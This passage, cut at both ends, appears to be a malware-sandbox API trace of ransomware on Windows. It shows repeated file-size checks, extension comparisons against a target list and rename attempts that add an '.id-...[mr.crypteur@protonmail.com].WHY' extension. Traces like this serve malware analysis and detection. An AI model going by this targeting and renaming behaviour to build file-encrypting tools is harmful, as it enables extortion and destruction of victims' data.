Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0226.247] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=555) returned 1 [0226.248] CloseHandle (hObject=0x38c) returned 1 [0226.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf")) returned 0x20 [0226.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0226.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF") returned 77 [0226.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF") returned 77 [0226.249] lstrlenW (lpString=".doc") returned 4 [0226.249] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0226.249] lstrlenW (lpString=".docx") returned 5 [0226.249] lstrcmpiW (lpString1=".docx", lpString2="G.INF") returned -1 [0226.249] lstrlenW (lpString=".pdf") returned 4 [0226.249] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0226.249] lstrlenW (lpString=".xls") returned 4 [0226.249] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0226.249] lstrlenW (lpString=".xlsx") returned 5 [0226.249] lstrcmpiW (lpString1=".xlsx", lpString2="G.INF") returned -1 [0226.249] lstrlenW (lpString=".ppt") returned 4 [0226.250] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0226.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF") returned 77 [0226.250] lstrlenW (lpString=".zip") returned 4 [0226.250] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0226.250] lstrlenW (lpString=".rar") returned 4 [0226.250] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0226.250] lstrlenW (lpString=".bz2") returned 4 [0226.250] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0226.250] lstrlenW (lpString=".7z") returned 3 [0226.250] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0226.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF") returned 77 [0226.250] lstrlenW (lpString=".dbf") returned 4 [0226.251] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0226.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF") returned 77 [0226.251] lstrlenW (lpString=".1cd") returned 4 [0226.251] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0226.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF") returned 77 [0226.251] lstrlenW (lpString=".jpg") returned 4 [0226.251] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0226.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF") returned 77 [0226.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF") returned 77 [0226.251] lstrlenW (lpString=".doc") returned 4 [0226.251] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0226.251] lstrlenW (lpString=".docx") returned 5 [0226.251] lstrcmpiW (lpString1=".docx", lpString2="G.INF") returned -1 [0226.252] lstrlenW (lpString=".pdf") returned 4 [0226.252] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0226.252] lstrlenW (lpString=".xls") returned 4 [0226.252] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0226.252] lstrlenW (lpString=".xlsx") returned 5 [0226.252] lstrcmpiW (lpString1=".xlsx", lpString2="G.INF") returned -1 [0226.252] lstrlenW (lpString=".ppt") returned 4 [0226.252] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0226.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF") returned 77 [0226.252] lstrlenW (lpString=".zip") returned 4 [0226.252] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0226.252] lstrlenW (lpString=".rar") returned 4 [0226.252] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0226.253] lstrlenW (lpString=".bz2") returned 4 [0226.253] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0226.253] lstrlenW (lpString=".7z") returned 3 [0226.253] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0226.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF") returned 77 [0226.253] lstrlenW (lpString=".dbf") returned 4 [0226.253] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0226.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF") returned 77 [0226.253] lstrlenW (lpString=".1cd") returned 4 [0226.253] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0226.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF") returned 77 [0226.254] lstrlenW (lpString=".jpg") returned 4 [0226.254] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0226.254] lstrcmpiW (lpString1=".DLL", lpString2=".WHY") returned -1 [0226.254] lstrlenW (lpString="MSB1XTOR.DLL") returned 12 [0226.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0226.819] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=70544) returned 1 [0226.819] CloseHandle (hObject=0x2d0) returned 1 [0226.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll")) returned 0x20 [0226.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0226.819] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL") returned 68 [0226.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL") returned 68 [0226.820] lstrlenW (lpString=".doc") returned 4 [0226.820] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0226.820] lstrlenW (lpString=".docx") returned 5 [0226.820] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0226.820] lstrlenW (lpString=".pdf") returned 4 [0226.820] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0226.820] lstrlenW (lpString=".xls") returned 4 [0226.820] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0226.820] lstrlenW (lpString=".xlsx") returned 5 [0226.821] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0226.821] lstrlenW (lpString=".ppt") returned 4 [0226.821] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0226.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL") returned 68 [0226.821] lstrlenW (lpString=".zip") returned 4 [0226.821] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0226.821] lstrlenW (lpString=".rar") returned 4 [0226.821] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0226.821] lstrlenW (lpString=".bz2") returned 4 [0226.821] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0226.821] lstrlenW (lpString=".7z") returned 3 [0226.821] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0226.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL") returned 68 [0226.821] lstrlenW (lpString=".dbf") returned 4 [0226.822] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0226.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL") returned 68 [0226.822] lstrlenW (lpString=".1cd") returned 4 [0226.822] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0226.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL") returned 68 [0226.822] lstrlenW (lpString=".jpg") returned 4 [0226.822] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0226.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL") returned 68 [0226.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL") returned 68 [0226.822] lstrlenW (lpString=".doc") returned 4 [0226.822] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0226.822] lstrlenW (lpString=".docx") returned 5 [0226.822] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0226.823] lstrlenW (lpString=".pdf") returned 4 [0226.823] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0226.823] lstrlenW (lpString=".xls") returned 4 [0226.823] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0226.823] lstrlenW (lpString=".xlsx") returned 5 [0226.823] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0226.823] lstrlenW (lpString=".ppt") returned 4 [0226.823] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0226.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL") returned 68 [0226.823] lstrlenW (lpString=".zip") returned 4 [0226.823] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0226.823] lstrlenW (lpString=".rar") returned 4 [0226.823] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0226.824] lstrlenW (lpString=".bz2") returned 4 [0226.824] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0226.824] lstrlenW (lpString=".7z") returned 3 [0226.824] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0226.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL") returned 68 [0226.824] lstrlenW (lpString=".dbf") returned 4 [0226.824] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0226.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL") returned 68 [0226.824] lstrlenW (lpString=".1cd") returned 4 [0226.824] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0226.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL") returned 68 [0226.824] lstrlenW (lpString=".jpg") returned 4 [0226.824] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0226.825] lstrcmpiW (lpString1=".DLL", lpString2=".WHY") returned -1 [0226.825] lstrlenW (lpString="WTSP61MS.DLL") returned 12 [0226.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0226.826] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=221184) returned 1 [0226.826] CloseHandle (hObject=0x2d0) returned 1 [0226.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll")) returned 0x20 [0226.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0226.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL") returned 68 [0226.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL") returned 68 [0226.827] lstrlenW (lpString=".doc") returned 4 [0226.827] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0226.827] lstrlenW (lpString=".docx") returned 5 [0226.827] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0226.827] lstrlenW (lpString=".pdf") returned 4 [0226.827] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0226.827] lstrlenW (lpString=".xls") returned 4 [0226.827] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0226.827] lstrlenW (lpString=".xlsx") returned 5 [0226.827] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0226.827] lstrlenW (lpString=".ppt") returned 4 [0226.827] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0226.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL") returned 68 [0226.828] lstrlenW (lpString=".zip") returned 4 [0226.828] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0226.828] lstrlenW (lpString=".rar") returned 4 [0226.828] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0226.828] lstrlenW (lpString=".bz2") returned 4 [0226.828] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0226.828] lstrlenW (lpString=".7z") returned 3 [0226.828] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0226.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL") returned 68 [0226.828] lstrlenW (lpString=".dbf") returned 4 [0226.828] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0226.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL") returned 68 [0226.829] lstrlenW (lpString=".1cd") returned 4 [0226.829] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0226.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL") returned 68 [0226.829] lstrlenW (lpString=".jpg") returned 4 [0226.829] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0226.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL") returned 68 [0226.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL") returned 68 [0226.829] lstrlenW (lpString=".doc") returned 4 [0226.829] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0226.829] lstrlenW (lpString=".docx") returned 5 [0226.830] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0226.830] lstrlenW (lpString=".pdf") returned 4 [0226.830] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0226.830] lstrlenW (lpString=".xls") returned 4 [0226.830] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0226.830] lstrlenW (lpString=".xlsx") returned 5 [0226.830] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0226.830] lstrlenW (lpString=".ppt") returned 4 [0226.830] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0226.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL") returned 68 [0226.830] lstrlenW (lpString=".zip") returned 4 [0226.830] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0226.830] lstrlenW (lpString=".rar") returned 4 [0226.831] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0226.831] lstrlenW (lpString=".bz2") returned 4 [0226.831] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0226.831] lstrlenW (lpString=".7z") returned 3 [0226.831] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0226.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL") returned 68 [0226.831] lstrlenW (lpString=".dbf") returned 4 [0226.831] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0226.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL") returned 68 [0226.831] lstrlenW (lpString=".1cd") returned 4 [0226.831] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0226.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL") returned 68 [0226.832] lstrlenW (lpString=".jpg") returned 4 [0226.832] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0226.832] lstrcmpiW (lpString1=".DLL", lpString2=".WHY") returned -1 [0226.832] lstrlenW (lpString="VBE7INTL.DLL") returned 12 [0226.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0226.838] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=154960) returned 1 [0226.838] CloseHandle (hObject=0x2d0) returned 1 [0226.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll")) returned 0x20 [0226.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0226.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL") returned 73 [0226.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL") returned 73 [0226.839] lstrlenW (lpString=".doc") returned 4 [0226.839] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0226.839] lstrlenW (lpString=".docx") returned 5 [0226.839] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0226.839] lstrlenW (lpString=".pdf") returned 4 [0226.839] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0226.839] lstrlenW (lpString=".xls") returned 4 [0226.839] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0226.839] lstrlenW (lpString=".xlsx") returned 5 [0226.839] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0226.839] lstrlenW (lpString=".ppt") returned 4 [0226.840] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0226.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL") returned 73 [0226.840] lstrlenW (lpString=".zip") returned 4 [0226.840] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0226.840] lstrlenW (lpString=".rar") returned 4 [0226.840] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0226.840] lstrlenW (lpString=".bz2") returned 4 [0226.840] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0226.840] lstrlenW (lpString=".7z") returned 3 [0226.840] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0226.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL") returned 73 [0226.840] lstrlenW (lpString=".dbf") returned 4 [0226.840] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0226.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL") returned 73 [0226.840] lstrlenW (lpString=".1cd") returned 4 [0226.841] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0226.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL") returned 73 [0226.841] lstrlenW (lpString=".jpg") returned 4 [0226.841] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0226.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL") returned 73 [0226.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL") returned 73 [0226.841] lstrlenW (lpString=".doc") returned 4 [0226.841] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0226.841] lstrlenW (lpString=".docx") returned 5 [0226.841] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0226.841] lstrlenW (lpString=".pdf") returned 4 [0226.842] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0226.842] lstrlenW (lpString=".xls") returned 4 [0226.842] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0226.842] lstrlenW (lpString=".xlsx") returned 5 [0226.842] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0226.842] lstrlenW (lpString=".ppt") returned 4 [0226.842] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0226.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL") returned 73 [0226.842] lstrlenW (lpString=".zip") returned 4 [0226.842] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0226.842] lstrlenW (lpString=".rar") returned 4 [0226.842] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0226.842] lstrlenW (lpString=".bz2") returned 4 [0226.842] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0226.843] lstrlenW (lpString=".7z") returned 3 [0226.843] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0226.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL") returned 73 [0226.843] lstrlenW (lpString=".dbf") returned 4 [0226.843] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0226.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL") returned 73 [0226.843] lstrlenW (lpString=".1cd") returned 4 [0226.843] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0226.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL") returned 73 [0226.843] lstrlenW (lpString=".jpg") returned 4 [0226.843] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0226.844] lstrcmpiW (lpString1=".DLL", lpString2=".WHY") returned -1 [0226.844] lstrlenW (lpString="VBE7.DLL") returned 8 [0226.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0226.846] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=3675976) returned 1 [0226.846] CloseHandle (hObject=0x2d0) returned 1 [0226.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll")) returned 0x20 [0226.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0226.847] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0226.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0226.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0226.847] lstrlenW (lpString=".doc") returned 4 [0226.847] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0226.847] lstrlenW (lpString=".docx") returned 5 